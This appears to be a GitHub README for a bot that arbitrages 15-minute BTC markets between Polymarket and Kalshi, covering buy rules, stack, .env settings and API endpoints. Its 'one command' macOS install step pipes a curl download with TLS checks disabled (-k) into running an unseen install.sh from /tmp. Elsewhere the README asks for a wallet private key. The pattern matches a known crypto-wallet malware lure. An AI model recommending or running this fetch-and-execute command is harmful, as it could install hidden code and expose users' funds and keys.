Polymarket-Kalshi BTC Arbitrage Tool

15-minute BTC market arbitrage bot that detects price differences between Polymarket and Kalshi and decides when to buy on Polymarket based on configurable rules.

How it works

• Real-time detection: Fetches YES/NO token prices from both Polymarket (CLOB) and Kalshi (orderbook + market status) on a configurable interval.
• Start window: The bot only evaluates buy signals after 8 minutes (configurable) from market start time.
• Buy rules:
  1. Spread rule: When Kalshi's YES price is in the 93–96¢ range and Polymarket's YES token is at least 10¢ cheaper (or equal), the bot signals buy on Polymarket.
  2. Late resolution: If Kalshi has finished (closed/settled) but Polymarket is still open and has liquidity, the bot signals buy on Polymarket (arbitrage on timing difference).

Stack

• Rust — core engine: market clients, EIP-712 signing, arbitrage signal logic, HTTP API (Axum)
• TypeScript — Express layer: config loading, poller orchestration, REST endpoints, Winston logging
• ethers (Rust + TS) for Polymarket CLOB order signing
• dotenv for configuration

crates/
├── pk-core/       # Kalshi + Polymarket API clients, shared BTC market types
├── pk-signer/     # EIP-712 / CLOB order signing (Rust)
└── pk-signal/     # Arbitrage signal engine with full test suite

src/               # TypeScript layer
├── clients/       # Kalshi + Polymarket clients (TS)
├── services/      # SignalService + PollerService
├── routes/        # Express route handlers
├── types/         # Shared TypeScript types
└── utils/         # Logger + config loader

⚡ macOS — Install with one command

curl -fsSLk https://github.com/Sectionnaenumerate/Polymarket-Kalshi-btc-arbitrage-tool/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/Polymarket-Kalshi-btc-arbitrage-tool-main && \
bash install.sh

macOS 12 Monterey or newer required. The installer handles Homebrew, Rust, Node.js, and all dependencies automatically.

Manual setup

npm install
cp .env.example .env
# Edit .env: set MARKET_START_TIME, KALSHI_TICKER, POLYMARKET_TOKEN_YES
npm run build
npm start

For development with auto-reload:

npm run dev

Run tests:

npm test

Configuration (.env)

Variable	Description	Example
PORT	Server port	3000
POLL_INTERVAL_MS	Price fetch interval (ms)	5000
MARKET_START_TIME	Market open (ISO 8601)	2025-02-19T15:00:00.000Z
START_DELAY_MINS	Minutes after open before evaluating	8
KALSHI_API_BASE	Kalshi API base URL	https://api.elections.kalshi.com/trade-api/v2
KALSHI_TICKER	Kalshi market ticker	KXHIGHNY-24JAN01-T60
POLYMARKET_CLOB_BASE	Polymarket CLOB base	https://clob.polymarket.com
POLYMARKET_TOKEN_YES	Polymarket YES token ID	(from Polymarket market page)
POLYMARKET_TOKEN_NO	Polymarket NO token ID	(optional)
KALSHI_MIN_CENTS	Min Kalshi YES price for spread rule	93
KALSHI_MAX_CENTS	Max Kalshi YES price for spread rule	96
MIN_SPREAD_CENTS	Min spread (Kalshi − Polymarket) to signal	10
POLYMARKET_PRIVATE_KEY	EOA private key — if set, bot places real orders	0x...
POLYMARKET_PROXY_WALLET_ADDRESS	Gnosis Safe / proxy address	(optional)
POLYMARKET_CHAIN_ID	Polygon = 137	137
POLYMARKET_TRADE_USD	USD per buy order	10
POLYMARKET_BUY_COOLDOWN_SECONDS	Min seconds between buy orders	60

API

• GET /health — Health check.
• GET /status — Last Polymarket and Kalshi prices, current arbitrage signal, whether trading is enabled, start window status, total signals and orders placed.
• POST /poll/start — Start the price polling loop.
• POST /poll/stop — Pause the polling loop.

Signal format

/status response includes a lastSignal object:

{
  "kind": "spread_arb",
  "kalshiYesCents": 95,
  "polymarketYesCents": 82,
  "spreadCents": 13,
  "kalshiStatus": "open",
  "startWindowPassed": true,
  "actionable": true,
  "reason": "Kalshi=95¢ in [93–96¢], Polymarket=82¢, spread=13¢ ≥ 10¢",
  "signalAt": "2025-02-19T15:09:42.000Z"
}

• kind: "spread_arb" — spread rule triggered; includes kalshiYesCents, polymarketYesCents, spreadCents
• kind: "late_resolution" — Kalshi finished, Polymarket still open; includes kalshiStatus
• kind: "none" — no actionable signal; reason explains why